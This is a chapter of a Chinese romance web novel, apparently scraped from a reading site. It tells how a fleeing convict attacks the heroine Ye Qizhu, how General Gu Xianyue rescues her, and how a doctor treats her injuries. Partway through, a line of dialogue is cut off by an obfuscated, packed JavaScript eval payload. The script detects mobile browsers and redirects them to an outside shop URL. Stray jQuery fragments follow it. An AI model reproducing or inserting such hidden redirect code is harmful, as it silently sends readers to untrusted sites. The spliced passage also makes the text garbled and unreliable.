文趣网 > 其他小说 > 被暴戾将军错认成恩人后 > 12. 第 12 章
    叶栖竹提着一颗心仔细听着,四周全是比人还高的芦苇,她什么也看不到,只能停在那里,祈祷这莫名的脚步声快些走远。

    可这声音偏偏要跟她做对似得,离她越来越紧。

    叶栖竹不敢轻举妄动,也许那人会从她身边走过去。

    “是你!”

    叶栖竹猛得回头,入目的是一张因奔跑而涨红了的脸,只是脸上青一块紫一块的,她辨认了一会,才看出是那个被点了名跟在顾衔岳身边的强盗。

    他背着一个小包袱,像是要去哪里,只是鬼鬼祟祟,不太光明。

    她想起婵娟说他每日被折磨得鼻青脸肿,再看这样子,叶栖竹一下便猜到:他是想要偷跑!

    别说营中对待逃兵绝不手软,就说他还是个流犯,如何能想走就走。

    那强盗乍一见到叶栖竹也有些慌乱,惊弓之鸟般左看右看,确信没旁人之后,眼底骤然升起一股狠意。

    叶栖竹心中大骇,戒备得盯着他。

    那强盗恶狠狠道:“臭婆娘,都怪你!”

    “要不是你,那顾衔岳能这么折磨老子吗?你这个不要脸的女人,原来早就私下里勾搭了大将军,老子就说,老子怎么会突然走了狗屎远被大将军看上了。”

    “原来都是因为你!”

    那强盗越说越气,几步便欺身上来,吓得叶栖竹连连后退,只是芦苇丛中乱世突出,草根遍地,她慌乱之下,竟不留神被绊倒了。

    “你八成早就跟顾衔岳睡·过了吧,仗着自己长得漂亮,惯会爬男人的床,老子早就看出来了!妈的,反正老子是不待这鬼地方了,干脆跑之前,也过一把大将军的瘾,尝尝大将军的女人是什么滋味!”

    那强盗将包袱随手一扔,□□着朝叶栖竹走来。

    叶栖竹神情紧张,这里本就偏僻,四周又全是芦苇,大声喊叫也未必有人听见,就算有人听见,可万一惹怒了他,在有人找到她前,她怕不是已经被灭了口。

    毕竟是背着人命的强盗,她不敢掉以轻心。

    叶栖竹摸到了一个锋利的石块,将其紧紧握住,盯着对面那人,赶紧爬起来。

    “别过来!我可要喊人了!”

    “性子果然烈得很,”那强盗满口污言碎语,“你跟顾衔岳的时候,也是这么反抗的吗?”

    叶栖竹一口银牙几乎要被咬碎,狠狠瞪了他一眼,心中想着若今日她安然逃脱了,日后定要加倍奉还!

    她紧紧盯着对面,在看到他被一个树根绊了一下低头查看的当,毫不犹豫立马转身就跑!

    只可惜只跑了两步就被人紧紧抓住胳膊,挣扎中叶栖竹把手里锋利的石块狠狠朝那人划去!

    只听一声凄厉的喊叫,叶栖竹顾不得细看自己打中了哪里,随即又瞄准了裆下使劲踢过去,那强盗又是“哎呦”一声。

    趁他松开手捂住脸和裆部的同时,叶栖竹拔腿就跑。

    她来过几次,依稀还记得路。

    身后强盗的怒骂声越来越大,此时的他已经被恨意占领,眼中似燃起熊熊烈火,恨不得抓住叶栖竹狠狠泄愤。

    求求了,赶紧遇到一个人吧!

    求求了,千万不要被他追上!

    叶栖竹万分庆幸自己穿的是方便干活的裤子而不是从前繁复重叠的长裙,也庆幸自己腿脚有些力气跑得很快,她只觉得胸口的气越来越满越来越涨,嗓子里仿佛被灌了大把的泥土砂砾,疼得说不出话来。

    身后的咒骂声越来越近,她的眼前似乎看到了点点星光,比人还高的芦苇也好像消失了,她看见了沿街叫卖的小贩。

    不要被抓住!

    她不要被他抓住!

    她提着一口气不停歇的跑,突然撞到了一堵墙。

    遭了!

    是死路!

    叶栖竹被撞得后退了两步,脚下一软差点便要摔倒,一双大手却轻轻拖住了她纤细的腰肢。

    “不必惊慌。”

    有些冷淡的声音像一汪清泉,瞬间冲淡了她口中的泥沙,她仿佛饮下甘泉,一口气终于回到人间。

    她定了定睛,才看到抱住她的正是顾衔岳。

    红了眼睛的强盗一路追着叶栖竹,竟没发觉已被她引着走出了芦苇丛。

    顾衔岳朝宋鸣使了个眼色,宋鸣立马带着人去追强盗。

    叶栖竹大口喘着粗气,指着强盗的方向:“他……他……他要……逃……”

    “我知道了。”顾衔岳替她抚着后背,“我就是来抓他的。”

    没想到还顺带救了你。

    顾衔岳看到眼前的姑娘头发散乱,脸上布满被芦苇抽到的血痕,和大把大把的眼泪。

    或许她自己都还没有发觉,其实她的手一直在抖。

    这个混球,到底做了什么!

    思及此,顾衔岳眸色更深。

    “别怕。”

    他伸手抓住她胳膊,试图安抚她,教她平静下来。

    “嘶~”她却一把挡住她的手,脸皱成一团,“好疼。”

    她胳膊上有一个黑手印,不用想也知道是谁做的。

    顾衔岳柔声安慰:“先回戍所,我让军医给你看看。”

    苏敬之很快就来了,一边大骂哪个不长眼的,一边细心给叶栖竹把脸上的芦苇叶子划出来的伤口清理干净,又仔细给每个伤口上了药。

    这期间,顾衔岳就站在一旁,一直沉着一张脸,宋鸣进来禀报强盗已被抓住的时候,还被顾衔岳的神情吓了一跳。

    顾衔岳点头,让他们先把人押到演武场,叫上所有流犯一起,派两队士兵看着。

    宋鸣领命去了,临走前,看到顾衔岳冰到不近人情的一张脸,在看向叶栖竹时,偶尔露出一丝不舍的神情。

    他皱了皱眉,觉得有必要把这事跟军师讲一声。

    苏敬之擦完脸,又交待了她这几日不要沾水,正打算离开,顾衔岳喊道:“敬叔,她胳膊似乎也受了伤。”

    闻言,苏敬之“哦?”了一声,让叶栖竹将袖子撸上去给他瞧瞧。

    叶栖竹依言行事,顾衔岳看到她胳膊上已有一大片青紫,苏敬之看了连连摇头:“这下手也太重了。”

    处理完后,苏敬之为防遗漏,问了一句:“还有吗?”

    此时叶栖竹已然平复了许多,先前只顾着奔逃,憋着一口气倒也没觉得哪里不舒服,此刻歇下来反而觉得浑身无力,尤其是后背,火辣辣的疼。

    “脱下来看看。”

    苏敬之神色如常,反正对于医者来说,病人的身体都是一样的,况且他这么大年纪,本就没有旁的心思。

    “敬叔!”

    顾衔岳在一旁提醒。

    苏敬之这才反应过来,可病情总是要看吧?

    他迟疑了一会,问:“叶

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17636734|206605||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    家丫头,要不喊你妹妹来?”

    “不必了,”叶栖竹摇头,那丫头向来胆子小,看自己伤成这样,估计又得哭肿眼睛了,况且后背也只是有些不舒服,说不定无大碍呢,只先瞧一瞧便是。

    说着便转过身去解开外衣,露出光滑的肩膀来。

    顾衔岳只看了一眼,立马背过身去,随即眼神戒备地看向门外,不想让任何一个人进来。

    “哎呀呀!”苏敬之倒吸了一口气,“蹭破了好大一块皮!”

    顾衔岳心中着急,立马回身看去。

    只见一片光滑细腻的后背,凝脂如玉,肌肤粉嫩,只是右肩胛骨处有一片红肿,格外惹人注意。

    苏敬之用帕子沾了水,“可能会有点疼,忍着点呀!”

    顾衔岳看到女子柔和流畅的侧脸点了点,随即一道细微的闷哼。

    很细微,细微到苏敬之几乎都没听见。

    然而却像惊雷一样,炸在了顾衔岳耳边。

    是那种咬着下唇极度压抑的闷哼。

    他知道不能再看不能再听,可是眼睛不受控的盯着那一片细腻的后背。

    帕子上滴落下一滴水,顺着她的脊背曲线一路往下滑,滑进了衣衫里,滑进了更低处。

    那一颗水滴,像极了一路往下抚摸的手。

    顾衔岳没忍住咽了咽口水。

    该死,你怎么能做这种事!

    他在心里狠狠骂了自己两声。

    虽说他不以君子自居,可非礼勿视,他还是知道的。

    勉强让自己转过身去,顾衔岳干脆跨了一步直接挡在了门口。

    不知过了多久,屋内传来苏敬之的声音:“跟脸上一样,七日不要沾水,每日敷药,保证你一点疤都不会留下,我再给你开两副安神药,吃了好好睡一觉,醒来就没事了。”

    顾衔岳这才转身进屋子,苏敬之已经收拾好药箱准备走,一看到他进来,惊呼:“你脸怎么了?要不要我也给你看看?”

    叶栖竹已经穿好衣服,光滑细腻的后背已经被层叠的衣服盖住。

    闻言她也朝顾衔岳望去,只见他一张脸和耳朵通红,他似还未觉,迷惑问道:“怎么了?”

    苏敬之将他拉到跟前把了把脉,随后了然的眼神在他和叶栖竹之间来来回回。

    顾衔岳被这眼神看得发毛,甩手不让苏敬之接着把脉:“敬叔忙完就快回去吧,想必您的事情不少吧!”

    苏敬之干笑了两声:“行,我走,我当然得走。”

    临走到门口还不忘回头嘱咐:“叶家丫头这几日得好好修养,最好别有大动作,伤口不好长。”

    等到苏敬之走了,顾衔岳才朝叶栖竹看了一眼,又看了一眼:“你……”

    话还没说完,先前才消下去的耳朵又唰的红起来了。

    叶栖竹先是不解,然而看到他不自然的神情,好像突然懂了什么,眼珠子一转,计上心来。

    她拿过苏敬之留下的药瓶,递给顾衔岳:“方才医师有些地方好像没涂抹到,麻烦将军帮一帮我。”

    顾衔岳下意识伸出手来要接,然而在就要碰到药瓶时却又忽的停住,随即风一阵地跑出去,只留下一句:“我找陈婆子来帮忙!”

    望着顾衔岳飞也似离开的背影,叶栖竹面上笑容淡去。

    果然如此。

    男人在意的,果然只有这个。